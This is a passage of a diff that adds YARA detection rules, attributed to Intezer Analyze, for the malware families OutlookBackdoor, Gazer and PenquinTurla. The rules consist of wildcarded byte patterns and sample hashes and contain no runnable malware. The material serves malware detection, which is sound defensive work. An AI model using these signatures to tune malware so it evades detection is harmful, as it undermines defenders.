+		$block_4 = { E8 ?? ?? ?? ?? 0F BE ?? 4? FF C? 4? 31 ?? 4? 69 ?? ?? ?? ?? ?? EB }
+		$block_5 = { E8 ?? ?? ?? ?? 0F B7 ?? 4? FF C? 4? 31 ?? 4? 69 ?? ?? ?? ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "49e0356272b9f8a30ec24a6e271f94e11668d7a48704bb9aed64f61b4b9b343c" or
+		hash.sha256(0, filesize) == "743b3347dc86b4a4aa6510648076eeca9eec0ff23c1294b3931263c990bcb5e6" or
+		6 of them
+}
+
+rule OutlookBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 8B ?? C6 ?? ?? C1 ?? ?? 8A ?? ?? ?? ?? ?? 4? 88 ?? 4? 83 ?? ?? 8A ?? ?? ?? ?? ?? EB }
+		$block_1 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 39 ?? ?? ?? 0F 84 }
+		$block_2 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? 5? 66 ?? ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_4 = { 5? 83 ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 5? F7 ?? 5? 1B ?? 23 ?? ?? 5? 8B ?? 75 }
+		$block_6 = { 5? FF 1? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_7 = { 8B ?? 8D ?? ?? ?? 5? 33 ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? 8B ?? 5? FF 5? ?? 39 ?? ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_9 = { FF 7? ?? 8B ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 33 ?? BF ?? ?? ?? ?? AB AB AB 83 ?? ?? AB 33 }
+		$block_10 = { 68 ?? ?? ?? ?? FF 7? ?? FF D? 83 ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 6A ?? FF D? 83 ?? ?? 0F 85 }
+		$block_11 = { 5? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_12 = { 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_13 = { 8D ?? ?? 5? 88 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_14 = { 0F B6 ?? ?? C1 ?? ?? 0B ?? 8A ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? 80 E? ?? C0 ?? ?? EB }
+		$block_15 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_16 = { 6A ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_17 = { 5? 33 ?? 33 ?? 38 ?? ?? 5? 0F 94 ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 38 ?? ?? 75 }
+		$block_18 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 83 ?? ?? C9 C2 }
+		$block_19 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 A4 33 ?? 5? 89 ?? ?? 5? }
+		$block_21 = { 0F B6 ?? ?? 8B ?? C1 ?? ?? 0B ?? 8A ?? ?? ?? ?? ?? 88 ?? 4? FF 4? ?? 3B ?? ?? 73 }
+		$block_22 = { 8D ?? ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 85 }
+		$block_23 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_24 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? C1 ?? ?? 66 ?? ?? 4? 4? 4? 0F B7 ?? 75 }
+		$block_25 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 4? 5? 5? 5? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_28 = { 8B ?? ?? ?? 8B ?? 6A ?? FF 1? 8B ?? FF 4? ?? ?? 8B ?? FF 5? ?? 39 ?? ?? ?? 0F 82 }
+		$block_29 = { 01 ?? ?? ?? 8B ?? ?? ?? 0F B6 ?? 8B ?? 29 ?? ?? ?? 5? 8B ?? FF 5? ?? 84 ?? 74 }
+		$block_30 = { 6A ?? 5? 5? FF 7? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 2B ?? ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? 0F B6 ?? ?? 33 ?? 5? 4? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B }
+		$block_32 = { 89 ?? ?? ?? 8D ?? ?? 99 6A ?? 5? F7 ?? 8B ?? ?? ?? 8D ?? ?? C1 ?? ?? 3B ?? 7E }
+		$block_33 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_34 = { 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_35 = { 6A ?? 5? 2B ?? 8B ?? ?? 2B ?? 01 ?? ?? C6 ?? ?? 83 ?? ?? 4? 39 ?? ?? 0F 8D }
+		$block_36 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 33 ?? 83 ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_37 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? 5? 0F B7 ?? C1 ?? ?? 5? 0B ?? 5? C3 }
+		$block_38 = { 88 ?? 83 ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_39 = { 8D ?? ?? ?? ?? ?? 5? 33 ?? E8 ?? ?? ?? ?? 66 ?? 0F B7 ?? 66 ?? ?? ?? 5? 7E }
+		$block_40 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 5? 8D ?? ?? 5? 5? 89 ?? ?? FF D? 85 ?? 0F 85 }
+		$block_41 = { 5? 8B ?? 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_42 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_43 = { 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? ?? 0F B7 ?? C1 ?? ?? 0B ?? C9 C3 }
+		$block_44 = { 8B ?? ?? 8A ?? ?? ?? 88 ?? ?? 0F BE ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_45 = { 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_46 = { 0F 94 ?? 22 ?? 88 ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? BB ?? ?? ?? ?? EB }
+		$block_47 = { 89 ?? ?? ?? 8D ?? ?? 99 6A ?? 5? F7 ?? 8D ?? ?? C1 ?? ?? 3B ?? 7E }
+		$block_48 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_49 = { 8B ?? ?? 33 ?? 4? D3 ?? 8B ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_50 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_51 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_52 = { A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 6A ?? 99 5? F7 ?? 85 ?? 0F 86 }
+		$block_53 = { 8B ?? 83 ?? ?? 6A ?? 99 5? 2B ?? F7 ?? 4? 0F AF ?? 03 ?? 5? }
+		$block_54 = { 33 ?? 4? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_57 = { 8B ?? ?? 8A ?? ?? 99 6A ?? 5? F7 ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_58 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_59 = { 5? 8B ?? 83 ?? ?? 0F B7 ?? 5? 33 ?? 5? 8B ?? 66 ?? ?? 74 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? 6A ?? C1 ?? ?? 5? 89 ?? ?? 3B ?? 0F 86 }
+		$block_61 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_62 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 3B ?? 0F 85 }
+		$block_63 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_64 = { 8B ?? ?? ?? 8B ?? 8D ?? ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_65 = { FF 4? ?? ?? FF 4? ?? ?? FF 4? ?? ?? 39 ?? ?? ?? 0F 8F }
+		$block_66 = { 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? 83 ?? ?? C9 C3 }
+		$block_67 = { 8B ?? ?? ?? 03 ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 83 }
+		$block_68 = { 80 7? ?? ?? 0F 94 ?? 83 ?? ?? ?? 22 ?? 8A ?? 3C ?? 75 }
+		$block_69 = { 8B ?? ?? 5? 33 ?? 5? 4? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_70 = { 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? 83 ?? ?? C9 C2 }
+		$block_71 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_72 = { 8B ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? F3 ?? 5? 5? C9 C3 }
+		$block_73 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_74 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 5? 83 ?? ?? 0F 84 }
+		$block_75 = { 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? C9 C3 }
+		$block_76 = { 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_77 = { 8B ?? ?? 8B ?? 5? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_78 = { 8B ?? ?? 5? 5? 33 ?? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_79 = { 8B ?? ?? 5? 5? 8B ?? 64 ?? ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_80 = { 8B ?? ?? 5? 8B ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_81 = { 5? 5? 0F B6 ?? ?? ?? 8D ?? ?? 25 ?? ?? ?? ?? 5? 79 }
+		$block_82 = { 8B ?? ?? 5? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_83 = { 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_84 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_85 = { 8B ?? ?? 8B ?? 8B ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 86 }
+		$block_86 = { 83 ?? ?? ?? 80 3? ?? 0F 94 ?? ?? 80 7? ?? ?? 74 }
+		$block_87 = { 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_88 = { 8B ?? ?? 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_89 = { 0F B6 ?? ?? 8B ?? 5? 8B ?? FF 5? ?? 84 ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 89 ?? 5? C9 C3 }
+		$block_91 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_92 = { 8B ?? E8 ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 86 }
+		$block_93 = { 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 39 ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "863f298f367a82853a58f9dad4c477956f48fdd9328a93e1aeee1df22da80493" or
+		hash.sha256(0, filesize) == "f1998b3c322e35006b6a6ba1c23807a3f9bc8058ee50efea059278a06fa4a4eb" or
+		12 of them
+}
+
+rule Gazer {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_2 = { FF 3? ?? ?? ?? ?? 21 ?? ?? ?? 21 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 86 }
+		$block_3 = { 5? 8D ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { FF 3? ?? ?? ?? ?? FF 4? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 86 }
+		$block_5 = { 8B ?? ?? 5? 5? 83 ?? ?? 5? 5? 6A ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 8B ?? 8B ?? ?? 8B ?? 5? FF 5? ?? FF 5? ?? 3B ?? 0F 8C }
+		$block_7 = { FF 7? ?? FF D? 01 ?? ?? FF 4? ?? 0F BF ?? ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? 5? }
+		$block_8 = { 6A ?? 5? 66 ?? ?? ?? 8D ?? ?? ?? 5? 5? 6A ?? C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_9 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 8D ?? ?? 5? FF 7? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? FF 4? ?? ?? 8B ?? ?? ?? ?? ?? 4? 33 ?? F7 ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 82 }
+		$block_14 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 8B ?? 8B ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 8C }
+		$block_16 = { E8 ?? ?? ?? ?? FF 7? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_17 = { 6A ?? 5? 01 ?? ?? 01 ?? ?? 01 ?? ?? 01 ?? ?? 0F B7 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_19 = { 6A ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 5? 6A ?? E8 ?? ?? ?? ?? 5? 5? 0F BE ?? 83 ?? ?? 0F AF ?? 03 ?? 4? 4? 3B ?? 72 }
+		$block_21 = { 0F B7 ?? ?? 0F B7 ?? ?? 2B ?? 5? FF 1? ?? ?? ?? ?? 33 ?? F7 ?? ?? 5? 85 ?? 74 }
+		$block_22 = { 8D ?? ?? 5? 89 ?? ?? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_23 = { 8D ?? ?? ?? 5? FF 7? ?? ?? 5? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 5? FF 7? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 6A ?? 5? 01 ?? ?? 01 ?? ?? 01 ?? ?? 03 ?? 0F B7 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_26 = { 8B ?? ?? FF 4? ?? 8B ?? ?? ?? ?? ?? 4? 33 ?? F7 ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_27 = { 8D ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 5? 5? 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_29 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 0F AF ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_30 = { 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_33 = { FF 3? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_34 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 5? 38 ?? ?? 0F 84 }
+		$block_35 = { FF 7? ?? 8B ?? ?? ?? ?? ?? 6A ?? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_36 = { A1 ?? ?? ?? ?? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_37 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_38 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 5? 66 ?? ?? ?? 5? 4? FF D? 3B ?? 7E }
+		$block_39 = { FF 4? ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_40 = { 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 5? 5? 8D ?? ?? 5? BF ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { FF 3? ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_44 = { 8B ?? ?? A1 ?? ?? ?? ?? C1 ?? ?? 03 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_45 = { 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 5? 8B ?? ?? ?? ?? ?? 6A ?? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_47 = { 0F B7 ?? ?? 83 ?? ?? ?? 33 ?? 8D ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_48 = { 5? 8D ?? ?? 5? 6A ?? 8D ?? ?? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_49 = { 8D ?? ?? 5? BF ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 5? FF 1? ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? ?? 33 ?? 4? 85 ?? 7E }
+		$block_51 = { 5? 8B ?? ?? ?? ?? ?? 5? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_52 = { 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F 86 }
+		$block_53 = { 8B ?? ?? 8D ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_54 = { 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 7? ?? 85 ?? 0F 84 }
+		$block_55 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_56 = { FF 7? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 2B ?? 2B }
+		$block_58 = { 8B ?? 5? 5? 5? FF D? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_59 = { FF 7? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_60 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_61 = { 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_62 = { 8B ?? 6A ?? 5? 33 ?? D1 ?? 89 ?? ?? F6 ?? ?? 0F 84 }
+		$block_63 = { 5? 6A ?? FF 3? FF D? 8B ?? ?? ?? 0F B7 ?? 4? 0F 84 }
+		$block_64 = { 6A ?? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_65 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8A ?? 5? C9 C3 }
+		$block_67 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 39 ?? ?? 0F 84 }
+		$block_68 = { 5? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_69 = { FF 7? ?? 5? FF 7? ?? FF D? 5? 5? 33 ?? 5? C9 C2 }
+
+	condition:
+		hash.sha256(0, filesize) == "4a941b881e917cd41477e2d4549fc8e217cd883773f2c703186e5525dc4d6c07" or
+		hash.sha256(0, filesize) == "364593bebe015945002f6affec90154a69cb051d59ac7557f076930375fb054f" or
+		hash.sha256(0, filesize) == "29e80fbdd60e723f69d111d72d3436b84d835add2fff26f52d426b5a8f4e17d1" or
+		hash.sha256(0, filesize) == "2007aa72dfe0c6c93beb44f737b85b6cd487175e7abc6b717dae9344bed46c6c" or
+		hash.sha256(0, filesize) == "02e28a176dd2ad9507e8d76b739af6fa2f1f7c373e70adbd70a44e8b137e58f8" or
+		12 of them
+}
+
+rule PenquinTurla {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_1 = { 89 ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 83 ?? ?? ?? 89 ?? 89 ?? C1 ?? ?? 8B ?? ?? C1 ?? ?? 30 ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 39 ?? 74 }
+		$block_3 = { 5? 31 ?? B9 ?? ?? ?? ?? 5? 5? 83 ?? ?? 8D ?? ?? ?? FC 8B ?? ?? ?? F3 ?? A1 ?? ?? ?? ?? 85 ?? 75 }
+		$block_4 = { C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_5 = { 0F B7 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 66 ?? ?? ?? ?? 7E }
+		$block_6 = { 89 ?? 89 ?? 8B ?? D3 ?? 83 ?? ?? 0F B6 ?? ?? ?? 89 ?? D3 ?? 09 ?? 89 ?? 83 ?? ?? FF 4? ?? ?? 75 }
+		$block_7 = { 5? 89 ?? 5? 31 ?? 5? 31 ?? 5? 83 ?? ?? 89 ?? 89 ?? ?? 4? 8D ?? ?? C6 ?? ?? ?? 0F BE ?? 85 ?? 74 }
+		$block_8 = { 01 ?? 8D ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 89 ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 31 ?? 29 ?? 8B ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
